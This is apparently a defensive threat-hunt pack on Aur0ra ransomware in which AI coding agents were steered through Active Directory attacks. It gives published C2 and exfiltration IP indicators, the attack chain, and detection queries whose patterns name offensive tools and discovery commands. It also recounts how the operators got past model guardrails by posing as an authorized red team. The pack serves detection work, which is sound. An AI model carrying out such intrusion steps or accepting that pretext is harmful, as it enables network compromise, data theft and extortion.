Aur0ra Ransomware (GOLD OGRE): AI-Agent-Driven Intrusion Hunt
Executive Summary
Attacker objective. GOLD OGRE operates Aur0ra (also called Aurora) ransomware: it steals data to an S3-compatible bucket, then deploys the ransomware, and has named at least three victims on its leak site. [#1] [#2]
What is new. Sophos Counter Threat Unit recovered Cursor artifacts showing operators giving AI agents VPN credentials, SOCKS access, targets and objectives. The agents then ran network and Active Directory discovery, analysed credential attack paths, password sprayed, Kerberoasted, coerced and relayed NTLM, abused certificates, searched shares, documents and backups, and reached domain administrator in a subset of environments with little human input. Humans kept control of initial access and of the final ransomware deployment. [#1] [#2]
Guardrails did not stop it. The operators framed the intrusions as authorized red team work or "diagnostics testing". Cursor's Composer model was used alongside models from Anthropic, xAI and Moonshot, with Anthropic used almost exclusively at first. [#1] Model-side guardrails are therefore not a control you can rely on. The defence is on the host, the network and the identity plane.
Why the hunt is hard. The campaign is built almost entirely from legitimate or dual-use software: Cursor, Nmap, NetExec, BloodHound, SharpShares, Certipy, Chisel, Impacket and a renamed S3 client. None of these is malicious on its own, and Cursor on a developer workstation is expected. Every query here is detect-only and every one carries false-positive guidance, because a red team or authorized pentest produces the same telemetry. Only seven IP addresses were published, and no file hashes or domains.
The highest-fidelity signal. The operators are Russian speakers who mistyped commands on a Cyrillic keyboard layout: зы for ps and ды for ls appear in the operator logs. If those strings appear in command history on your network, someone from this operation, or someone replaying their logs, has typed there (Q1).
Defender priority: run Q1 and Q20 over 30 days first, then look for Cursor, VPN clients and offensive tooling on servers and jump boxes (Q2, Q5, Q6). Close the paths the agents used: require SMB and LDAP signing, disable Print Spooler on domain controllers, remove weak Kerberos service-account encryption, audit AD CS, and isolate backups. Do not treat Cursor itself as a detection.
Source Review & Web Hunter Notes
| # | Tier | Source | Key finding | Carry forward |
|---|---|---|---|---|
| 1 | T1 | Sophos Counter Threat Unit: AI used in Aur0ra ransomware testing and execution (2026-10-29) | Primary. Attribution to GOLD OGRE, the Cursor-driven workflow, tool list, the VeeamTransport exfiltration command, Cyrillic typo artifacts, Taegis countermeasure names, and the Table 3 indicators. | YES |
| 2 | T2 | Help Net Security: Ransomware gang talked AI agents into doing much of its dirty work (2026-11-02) | Independent restatement of the Sophos findings. Confirms humans kept initial access and ransomware deployment, and the red-team cover story. | YES |
| 3 | T2 | Check Point Research: Threat Intelligence Report for 2 November 2026 | Weekly digest entry that summarizes the same activity. Publishes no indicators. Used only as corroboration. | PARTIAL |
Web Hunter decisions
- Atomic indicators come from Sophos only. The seven addresses in Section 10 appear in Sophos Table 3 (defanged in the original, re-fanged here) and in the saved snapshot. Neither Help Net Security nor Check Point lists an address, so no indicator has two independent sources.
- Every indicator ships as detect. The prevent posture needs two independent sources. Sophos also warns that addresses can be reallocated, and the open-directory server and SOCKS node in particular are staging infrastructure.
- No hashes and no domains were published. Windows and Linux (ESXi-compatible) Aur0ra binaries are described as sitting in an open directory, but no hash is given. Section 10 carries labelled REPLACE_WITH placeholders instead of invented values.
- Third-party reports are not cited directly. Sophos describes reports from Gambit Security and CloudSEK about the same exposed open directory. Those pages were not fetched for this pack, so only what Sophos reports about them is used, and it is attributed to Sophos.
- Heuristics are labelled. Cursor install paths, Cursor service domains and the VPN product list in the queries are analyst heuristics, not Sophos-published values. They are marked as such on the cards.
- No fetched page contained instructions aimed at an AI agent.
Hunt Brief & Attack Chain
| Step | Behaviour | Telemetry | Hunt angle |
|---|---|---|---|
| 1 | Human operator gains initial access (method not published) and supplies VPN credentials, SOCKS access, targets and objectives to the agent | Outside endpoint telemetry (VPN gateway and identity logs) | VPN logins from new sources, then a VPN client appearing on a server (Q5) |
| 2 | Agent installs and configures a VPN client, connects with supplied credentials | Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Q5 |
| 3 | Cursor and chat logs sit on an operator or staging host; agent shells run as children of Cursor or Node | Process creation, DNS query telemetry (CrowdStrike: ProcessRollup2, DnsRequest. SentinelOne: Process Creation, DNS. Defender: DeviceProcessEvents, DeviceNetworkEvents) | Q2, Q3, Q4 |
| 4 | Subnet scanning with Nmap or NetExec; AD enumeration with the BloodHound collector, SharpShares, trust and computer enumeration | Process creation, network connections (CrowdStrike: ProcessRollup2, NetworkConnectIP4) | Q6, Q7, Q8, Q9, Q10, Q11 |
| 5 | Credential attacks: password spraying and Kerberoasting (Invoke-Kerberoast, PowerShell scripts) | Failed logons on domain controllers, PowerShell script scan, process creation (CrowdStrike: UserLogonFailed2, ScriptControlScanTelemetry, ProcessRollup2) | Q12, Q13 |
| 6 | NTLM coercion and relay (PetitPotam, Coerce Plus, PrinterBug) with an Impacket relay module; certificate abuse with Certipy | Process creation (CrowdStrike: ProcessRollup2) | Q14, Q15, Q9 |
| 7 | SOCKS tunnelling (Chisel) and Cobalt Strike with named pipes and service-based stager persistence | Process creation (CrowdStrike: ProcessRollup2). Pipe creation: Sysmon only | Q16, Q17, Q18, Q20 |
| 8 | Agent searches shares, documents, backups and cloud-connected storage; credential extraction from files and backups; privilege escalation, process injection and token abuse | Process creation, share-access logs (CrowdStrike: ProcessRollup2. Share access: Windows Security 5145) | Q10; native hunts |
| 9 | Data staged and sent to an S3 bucket with a renamed S3 client named VeeamTransport against the exfiltration server on port 54410 | Process creation, network connections (CrowdStrike: ProcessRollup2, NetworkConnectIP4) | Q19, Q20 |
| 10 | Human operator deploys Windows or Linux (ESXi-compatible) Aur0ra ransomware | Not published. No hashes or file names | Gap, see Section 15 |
Hunt hypotheses (highest fidelity first)
- H1, high: The operators' Cyrillic-layout typos appear in captured command history or command lines (Q1). T1059.
- H2, high: A renamed S3 client or any process uses
--endpoint-urlwith an S3 destination, or a host connects to one of the seven published addresses or port 54410 (Q19, Q20). T1567.002, T1071.001. - H3, high: Offensive AD tooling runs on a host: BloodHound, SharpShares, Kerberoast scripts, coercion tools, Certipy, Chisel (Q8, Q10, Q12, Q14, Q15, Q16). T1087.002, T1558.003, T1187, T1649, T1090.
- H4, medium: Cursor appears on a server, jump box or VPN-connected host, or a Cursor/Node parent launches AD discovery commands (Q2, Q3, Q4). T1219, T1087.002.
- H5, medium: A VPN client is installed or configured on a server by a shell or script parent (Q5). T1133.
- H6, medium: One process fans out across many internal hosts, or one source fails logons for many accounts (Q7, Q13). T1046, T1110.003.
- H7, medium: Cobalt Strike stager persistence and named-pipe command shape (Q17, Q18). T1543.003, T1134.
Consolidated IOC Table
| Type | Value | Confidence | Action | Context | Expiry |
|---|---|---|---|---|---|
| IPv4 | 152.236.4.14 | HIGH | detect | Data exfiltration server used in Aur0ra ransomware operations [#1] | 2027-05-04 |
| IPv4 | 152.236.3.8 | HIGH | detect | Cobalt Strike C2 server used in Aur0ra ransomware operations [#1] | 2027-05-04 |
| IPv4 | 172.86.89.124 | HIGH | detect | Cobalt Strike C2 server used in Aur0ra ransomware operations [#1] | 2027-05-04 |
| IPv4 | 144.172.101.72 | HIGH | detect | Cobalt Strike C2 server used in Aur0ra ransomware operations [#1] | 2027-05-04 |
| IPv4 | 206.223.230.107 | HIGH | detect | Cobalt Strike C2 server used in Aur0ra ransomware operations [#1] | 2027-05-04 |
| IPv4 | 45.59.113.63 | HIGH | detect | SOCKS proxy node used in Aur0ra ransomware operations; also seen in the testing framework and in Gambit Security's report, per Sophos [#1] | 2027-05-04 |
| IPv4 | 172.86.113.245 | MEDIUM | detect | Open Directory server used in Aur0ra ransomware operations (attacker toolkit, shell history, Cursor chat logs) [#1] | 2027-05-04 |
| SHA-256 | REPLACE_WITH_AUR0RA_WINDOWS_SHA256 | UNKNOWN | detect | Windows Aur0ra binary. No hash was published; fill from your own IR or a vendor feed | n/a |
| SHA-256 | REPLACE_WITH_AUR0RA_ESXI_SHA256 | UNKNOWN | detect | Linux (ESXi-compatible) Aur0ra binary. No hash was published | n/a |
Treat the addresses as perishable. Sophos notes that IP addresses can be reallocated and may contain malicious content. Verify a hit with WHOIS and recent history before acting, and do not open them in a browser. Seven real addresses and two labelled placeholders ship. No domains and no file hashes were published.
Affected Surface & Telemetry Matrix
| Surface | Telemetry | Priority | Gap |
|---|---|---|---|
| Servers, jump boxes, VPN-connected hosts | Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | HIGH | None for process activity; Cursor install location is an analyst heuristic |
| Domain controllers | Failed logon events (CrowdStrike: UserLogonFailed2. Defender: IdentityLogonEvents when Defender for Identity is deployed) | HIGH | Kerberos service-ticket requests (Windows event 4769) are outside endpoint telemetry |
| Active Directory Certificate Services | Process creation for tool use (CrowdStrike: ProcessRollup2) | MEDIUM | Certificate request and issue events (Windows 4886, 4887) are outside endpoint telemetry |
| Network egress to S3-compatible storage | Network connections (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents) | HIGH | Destination bucket and object names are visible only in proxy or cloud logs |
| Operator keyboard artifacts | Console history and command lines (CrowdStrike: CommandHistory, ProcessRollup2) | MEDIUM | Console history capture depends on sensor settings; confirm in tenant |
| Named pipes | Pipe creation (Sysmon event 17) | MEDIUM | No dedicated Falcon event; outside endpoint telemetry unless Sysmon is collected |
| VPN gateway and identity provider | Authentication logs | HIGH | Outside endpoint telemetry |
ATT&CK Mapping
| Tactic | Technique | Observed behaviour | Query or control |
|---|---|---|---|
| Execution | T1059 Command and Scripting Interpreter | Agents execute commands; operators type ps and ls on a Cyrillic layout | Q1, Q4 |
| Command and Control | T1219 Remote Access Software; T1572 Protocol Tunneling; T1090 Proxy | Cursor agent control, VPN client, SOCKS access, Chisel | Q2, Q3, Q5, Q16 |
| Initial Access / Persistence | T1133 External Remote Services | VPN client installed and connected with supplied credentials | Q5 |
| Discovery | T1046 Network Service Discovery; T1018 Remote System Discovery | Nmap, NetExec, internal subnet scanning | Q6, Q7 |
| Discovery | T1087.002 Domain Account; T1069.002 Domain Groups; T1482 Domain Trust Discovery | BloodHound collector, trust and computer enumeration | Q4, Q8, Q9, Q11 |
| Discovery / Collection | T1135 Network Share Discovery | SharpShares, share and document searches | Q10 |
| Credential Access | T1110.003 Password Spraying | Agent password spraying | Q13 |
| Credential Access | T1558.003 Kerberoasting | Invoke-Kerberoast and PowerShell scripts | Q12 |
| Credential Access | T1187 Forced Authentication; T1557.001 NTLM Relay | PetitPotam, Coerce Plus, PrinterBug, Impacket relay | Q14 |
| Credential Access | T1649 Steal or Forge Authentication Certificates | Certipy certificate attacks | Q9, Q15 |
| Defense Evasion / Privilege Escalation | T1055 Process Injection; T1134 Access Token Manipulation | Process injection and token abuse by one operator | Q17 (proxy); Gap |
| Persistence | T1543.003 Windows Service | Cobalt Strike stager persistence | Q18 |
| Command and Control | T1071.001 Web Protocols | Cobalt Strike C2 to four addresses | Q20 |
| Exfiltration | T1567.002 Exfiltration to Cloud Storage; T1048 | Renamed S3 client to an S3 bucket via the exfiltration server | Q19, Q20 |
| Impact | T1486 Data Encrypted for Impact | Windows and ESXi Aur0ra binaries, human-deployed | Gap: no hashes or names published |
Native Audit-Log Hunts
| Source | Event or log | What to look for |
|---|---|---|
| Windows Security (domain controllers) | 4769 Kerberos service ticket request | Many requests for user-account SPNs from one account in a short span, especially with RC4 encryption type 0x17 (Kerberoasting) |
| Windows Security (domain controllers) | 4625, 4771, 4776 | One source failing for many accounts (spraying). Slow sprays need a multi-day window |
| Windows Security (file servers) | 5145 detailed file share | One account reading many share names or IPC$ named pipes in a short span (share enumeration) |
| Windows Security (AD CS servers) | 4886 certificate request received, 4887 issued | Requests for templates that allow the requester to supply a subject, or issuance to a computer account that does not own the name |
| Sysmon | Event 17 and 18 pipe created and connected | Pipe names that match Cobalt Strike defaults. This is the telemetry that fills the Q17 gap |
| Sysmon | Event 1 and 3 | Process and network context for the tools above where Falcon is not deployed |
| DNS server and resolver logs | Query log | Lookups for Cursor service domains from servers |
| Perimeter firewall and proxy | Egress | Outbound to the seven published addresses, to port 54410, and to S3-compatible endpoints outside your approved list |
| VPN gateway | Session log | New sessions from unfamiliar sources followed by activity from a server that has no business using a VPN client |
| Endpoint management inventory | Installed software | Cursor and other agentic coding tools on servers and jump boxes |
Hunt Queries: CrowdStrike CQL, SentinelOne PowerQuery and Defender XDR KQL
Use your tenant's own address. SentinelOne does not document a link that pre-fills a query, so each "Copy & open SentinelOne" button copies the query and opens this console: paste it into PowerQuery.
Pick your portal. Microsoft documents a Share link in advanced hunting but not its URL format, so each "Copy & open Defender" button copies the query and opens Advanced hunting: paste it into the editor.
All twenty queries are detect and hunt only. Almost every tool they find is legitimate or dual-use, so a hit means "find out who ran this and why", not "block". Compare each hit against your change calendar and any open red team or pentest.
Looks for: The two Russian-layout slips Sophos saw in operator logs: зы is ps and ды is ls typed with the wrong keyboard layout. Searches the raw text of console-history and process events for either token used as a command word. Confirm console-history capture is enabled in your tenant. FP: Low. Almost no legitimate command line contains these tokens as standalone words. A Russian-speaking administrator who mistypes in a shell would match, and so would a security team replaying operator logs in a lab.
Known limitations and deployment notes
- PowerQuery: Typed console input that never becomes a process command line (the CQL tab also reads command history) is not captured.
- PowerQuery assumes: On a Process Creation event tgt.process.cmdline holds the created process command line.
- PowerQuery assumes: The token expression is case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: Typed console input that never becomes a process command line (the CQL tab also reads command history) is not captured.
- KQL – Defender XDR assumes: ProcessCommandLine holds the full command line of the created process.
// HUNT: Operator keyboard-layout typos: зы and ды (ps and ls typed on a Cyrillic layout) // MITRE: T1059, T1083, T1057 // CONF: high // FP: low // COST: low // REQUIRES: Console command history and process creation with command line (CrowdStrike: CommandHistory, ProcessRollup2) // FALSE POSITIVES: Russian-speaking admins mistyping in a shell; lab replays of operator logs // TUNING: exclude known admin jump hosts only after a first review, and keep the hit list: any server hit outside an admin workstation tier is worth a call #event_simpleName=/^(CommandHistory|ProcessRollup2|SyntheticProcessRollup2)$/ | @rawstring=/(^|[\s;|&"])(зы|ды)(\s|[;|&"]|$)/i | table([@timestamp, ComputerName, UserName, #event_simpleName, FileName, CommandLine, @rawstring], limit=200)
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, tgt.process.cmdline
// HUNT: Operator keyboard-layout typos: зы and ды (ps and ls typed on a Cyrillic layout) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1059, T1083, T1057 // CONF: high | FP: low // FALSE POSITIVES: Russian-speaking admins mistyping in a shell; lab replays of operator logs // EQUIVALENCE: approximate-analytic - Console command history is not a SentinelOne event type, so the same keyboard-layout token expression runs over the process-creation command line only. Typos typed at an interactive prompt that never launch a process are not seen. // REQUIRES: SentinelOne process-creation telemetry with the command line // TUNING: Exclude known admin jump hosts only after a first review, and keep the hit list: any server hit outside an admin workstation tier is worth a call. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Typed console input that never becomes a process command line (the CQL tab also reads command history) is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and tgt.process.cmdline matches '.*(^|[\\s;|&"])(зы|ды)(\\s|[;|&"]|$).*' | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
2 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, ProcessCommandLine, InitiatingProcessFileName | take 5
// HUNT: Operator keyboard-layout typos: зы and ды (ps and ls typed on a Cyrillic layout) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1059, T1083, T1057 // CONF: high | FP: low // FALSE POSITIVES: Russian-speaking admins mistyping in a shell; lab replays of operator logs // EQUIVALENCE: approximate-analytic - Console command history is not a Defender table, so the same keyboard-layout token expression runs over the process-creation command line only. Typos typed at an interactive prompt that never launch a process are not seen. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude known admin jump hosts only after a first review, and keep the hit list: any server hit outside an admin workstation tier is worth a call. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Typed console input that never becomes a process command line (the CQL tab also reads command history) is not captured. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)(^|[\s;|&\x22])(зы|ды)(\s|[;|&\x22]|$)" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine | sort by Timestamp desc | take 200
Looks for: Cursor executing or living under a cursor program directory. Cursor is ordinary developer software. Its presence on a developer workstation is expected and is not itself malicious. The signal is Cursor on a server, jump box, domain controller or VPN-connected host where no developer works. Run this against server host groups, or uncomment the ComputerName filter. FP: High on developer endpoints, which is why the query is meant for server-tier host groups. Approved developer jump hosts and build servers will match.
Known limitations and deployment notes
- PowerQuery: Only one sample user per host is returned; the CQL tab lists every user.
- PowerQuery assumes: tgt.process.image.path holds the full image path of the created process.
- PowerQuery assumes: The path fragments use contains, which is case-insensitive and reproduces the CQL intent.
- KQL – Defender XDR: The set of users is capped at 20 per device.
- KQL – Defender XDR assumes: FolderPath holds the full image path of the created process.
// HUNT: Cursor application running on a host (scope to servers, jump boxes, VPN-connected hosts) // MITRE: T1219, T1059 // CONF: medium // FP: high // COST: low // REQUIRES: Process creation with image path (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: developers on workstations (expected); approved build or dev servers // TUNING: scope to server and jump-box host groups; uncomment the ComputerName filter with your server naming regex; exclude approved developer VDI pools #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^cursor(\.exe)?$/i or ImageFileName=/\\programs\\cursor\\/i or ImageFileName=/\\\.cursor\\/i // | ComputerName=/REPLACE_WITH_SERVER_NAME_REGEX/i | groupBy([ComputerName], function=[count(as=Launches), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen), collect([UserName])], limit=500) | sort(FirstSeen, order=asc, limit=200)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typetgt.process.name: Created process nametgt.process.image.path: Created process pathendpoint.name: Host
Recommended fields
src.process.user: Creator user
Readiness test
event.type = 'Process Creation' tgt.process.image.path = * | limit 5 | columns event.time, event.type, endpoint.name, tgt.process.name, tgt.process.image.path
// HUNT: Cursor application running on a host (scope to servers, jump boxes, VPN-connected hosts)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1219, T1059
// CONF: medium | FP: high
// FALSE POSITIVES: developers on workstations (expected); approved build or dev servers
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the process name, or either of the two install-path fragments, grouped per host. The user list is reduced to one sample user per host because the language has no collect aggregate.
// REQUIRES: SentinelOne process-creation telemetry with the image path
// TUNING: Scope to server and jump-box host groups with an endpoint.name filter that matches your server naming, and exclude approved developer VDI pools.
// LOOKBACK: 7d; set in the console time picker
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Only one sample user per host is returned; the CQL tab lists every user.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and (tgt.process.name matches '^cursor(\\.exe)?$' or tgt.process.image.path contains ('\\programs\\cursor\\', '\\.cursor\\'))
| group launches=count(), first_seen=min(event.time), last_seen=max(event.time), users=any(src.process.user) by endpoint.name
| sort +first_seen
| limit 200Automated validation: static-passed
4 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameFolderPath: Created process pathDeviceName: Device
Recommended fields
AccountName: Account
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, DeviceName, FileName, FolderPath | take 5
// HUNT: Cursor application running on a host (scope to servers, jump boxes, VPN-connected hosts) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1219, T1059 // CONF: medium | FP: high // FALSE POSITIVES: developers on workstations (expected); approved build or dev servers // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the process name, or either of the two install-path fragments, grouped per host with the users collected into a set. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Scope to server and jump-box device groups with a DeviceName filter that matches your server naming, and exclude approved developer VDI pools. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: The set of users is capped at 20 per device. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^cursor(\.exe)?$" or FolderPath contains @"\programs\cursor\" or FolderPath contains @"\.cursor\" | summarize Launches = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), Users = make_set(AccountName, 20) by DeviceName | sort by FirstSeen asc | take 200
Looks for: DNS lookups for Cursor service domains. This confirms an AI coding agent is talking to its vendor from the host. Treat it as inventory, not an alert. The domain pattern is an analyst heuristic, not a Sophos-published indicator, so confirm the domains your Cursor version uses before relying on it. FP: High on developer endpoints. Meaningful only when joined with a server or jump-box host list.
Known limitations and deployment notes
- PowerQuery: If the tenant populates dns.request rather than event.dns.request, this query returns nothing; run the readiness test first.
- PowerQuery assumes: event.dns.request is the populated DNS name field; some tenants may populate dns.request instead.
- PowerQuery assumes: On a DNS Resolved event the requesting process is src.process.*.
- KQL – Defender XDR: DnsQueryResponse events are only recorded where the sensor emits them; hosts without them are blind.
- KQL – Defender XDR assumes: The queried name sits under DnsQueryString or QueryName in AdditionalFields; the readiness test prints both so you can see which your tenant fills.
// HUNT: Cursor service lookups from a host // MITRE: T1219, T1071.001 // CONF: low // FP: high // COST: low // REQUIRES: DNS query telemetry (CrowdStrike: DnsRequest) // FALSE POSITIVES: any developer using Cursor // TUNING: restrict to server-tier hosts; suppress host groups approved for AI-assisted development #event_simpleName=DnsRequest | DomainName=/(^|\.)cursor\.(sh|com)$/i // | ComputerName=/REPLACE_WITH_SERVER_NAME_REGEX/i | groupBy([ComputerName, ContextBaseFileName], function=[count(as=Lookups), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)], limit=500) | sort(Lookups, order=desc, limit=200)
5 required fields · View requirements
Required telemetry
- DNS Resolved
Required fields
event.time: Event timeevent.type: Event typeevent.dns.request: Requested nameendpoint.name: Hostsrc.process.name: Requesting process
Optional fields
dns.request: Requested name, alternate spelling. Vendor docs name this field; the independent backend maps event.dns.request.
Readiness test
event.type = 'DNS Resolved' event.dns.request = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, event.dns.request
// HUNT: Cursor service lookups from a host // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1219, T1071.001 // CONF: low | FP: high // FALSE POSITIVES: any developer using Cursor // EQUIVALENCE: equivalent-with-schema-assumptions - Same DNS predicate: a lookup of the vendor service domain or its subdomains, grouped by host and requesting process. The request field is the one the independent backend maps for DNS. // REQUIRES: SentinelOne DNS telemetry (event type DNS Resolved) // TUNING: Restrict to server-tier hosts with an endpoint.name filter, and suppress host groups approved for AI-assisted development. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: If the tenant populates dns.request rather than event.dns.request, this query returns nothing; run the readiness test first. // VALIDATION LEVEL: static-reviewed event.type = 'DNS Resolved' and event.dns.request matches '.*(^|\\.)cursor\\.(sh|com)$' | group lookups=count(), first_seen=min(event.time), last_seen=max(event.time) by endpoint.name, src.process.name | sort -lookups | limit 200
Automated validation: static-passed
5 required fields · View requirements
Required telemetry
- DeviceEvents
Required fields
Timestamp: Event timeActionType: ActionAdditionalFields: DNS detailDeviceName: DeviceInitiatingProcessFileName: Requesting process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceEvents | where Timestamp > ago(1d) | where ActionType == "DnsQueryResponse" | project Timestamp, ActionType, AdditionalFields, DeviceName, InitiatingProcessFileName | take 5
// HUNT: Cursor service lookups from a host // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1219, T1071.001 // CONF: low | FP: high // FALSE POSITIVES: any developer using Cursor // EQUIVALENCE: equivalent-with-schema-assumptions - Defender has no endpoint DNS table, so the lookup is read from the DnsQueryResponse action of DeviceEvents, with the queried name taken from AdditionalFields. The predicate and grouping match the CQL. // REQUIRES: Defender for Endpoint network protection DNS events (DeviceEvents, DnsQueryResponse) // TUNING: Restrict to server-tier devices with a DeviceName filter, and suppress device groups approved for AI-assisted development. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: DnsQueryResponse events are only recorded where the sensor emits them; hosts without them are blind. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceEvents | where Timestamp >= ago(7d) | where ActionType == "DnsQueryResponse" | extend QueryName = tostring(coalesce(parse_json(AdditionalFields)["DnsQueryString"], parse_json(AdditionalFields)["QueryName"])) | where QueryName matches regex @"(?i)(^|\.)cursor\.(sh|com)$" | summarize Lookups = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp) by DeviceName, InitiatingProcessFileName | sort by Lookups desc | take 200
Looks for: An agent working through Cursor's terminal runs its commands as children of the Cursor or Node process. This looks for that parentage combined with AD and network discovery commands (nltest, setspn, net group, dsquery, klist, Get-AD*), the first things Sophos says the agents did. FP: Developers legitimately run these commands from Cursor's terminal when working on AD tooling. A red team or authorized pentest using Cursor looks identical.
Known limitations and deployment notes
- PowerQuery: A discovery command launched by a grandchild of the editor (for example through a shell) is not matched, the same as the CQL tab.
- PowerQuery assumes: On a Process Creation event src.process.name is the creator process.
- PowerQuery assumes: Both expressions are case-insensitive by default, which reproduces the CQL intent.
- KQL – Defender XDR: A discovery command launched by a grandchild of the editor (for example through a shell) is not matched, the same as the CQL tab.
- KQL – Defender XDR assumes: InitiatingProcessFileName is the direct creator of the process.
// HUNT: Cursor or Node parent launching Active Directory discovery commands // MITRE: T1087.002, T1069.002, T1482, T1018 // CONF: medium // FP: medium // COST: low // REQUIRES: Process creation with parent name and command line (CrowdStrike: ProcessRollup2) // FALSE POSITIVES: developers and AD engineers using Cursor terminals; authorized red team activity // TUNING: exclude named AD engineering accounts and developer VDI host groups; keep servers and jump boxes #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^(cursor|node)(\.exe)?$/i | CommandLine=/(nltest|setspn|dsquery|klist|net1?\s+(group|user|accounts|view)|Get-AD(User|Computer|Group|Trust|Domain)|adfind|whoami\s+\/(all|groups))/i | table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine], limit=200)
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timeevent.type: Event typesrc.process.name: Creator process nametgt.process.cmdline: Created command line
Recommended fields
endpoint.name: Hostsrc.process.user: Creator user
Readiness test
event.type = 'Process Creation' src.process.name = * | limit 5 | columns event.time, event.type, endpoint.name, src.process.name, tgt.process.cmdline
// HUNT: Cursor or Node parent launching Active Directory discovery commands // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1087.002, T1069.002, T1482, T1018 // CONF: medium | FP: medium // FALSE POSITIVES: developers and AD engineers using Cursor terminals; authorized red team activity // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a Cursor or Node creator process spawning a directory-discovery command. The creator is src.process.* and the created process is tgt.process.* on a Process Creation event. // REQUIRES: SentinelOne process-creation telemetry with creator name and command line // TUNING: Exclude named AD engineering accounts and developer VDI host groups; keep servers and jump boxes. // LOOKBACK: 7d; set in the console time picker // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A discovery command launched by a grandchild of the editor (for example through a shell) is not matched, the same as the CQL tab. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and src.process.name matches '^(cursor|node)(\\.exe)?$' and tgt.process.cmdline matches '.*(nltest|setspn|dsquery|klist|net1?\\s+(group|user|accounts|view)|Get-AD(User|Computer|Group|Trust|Domain)|adfind|whoami\\s+/(all|groups)).*' | columns event.time, endpoint.name, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeInitiatingProcessFileName: Creator process nameProcessCommandLine: Created command line
Recommended fields
FileName: Created process name
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, InitiatingProcessFileName, FileName, ProcessCommandLine | take 5
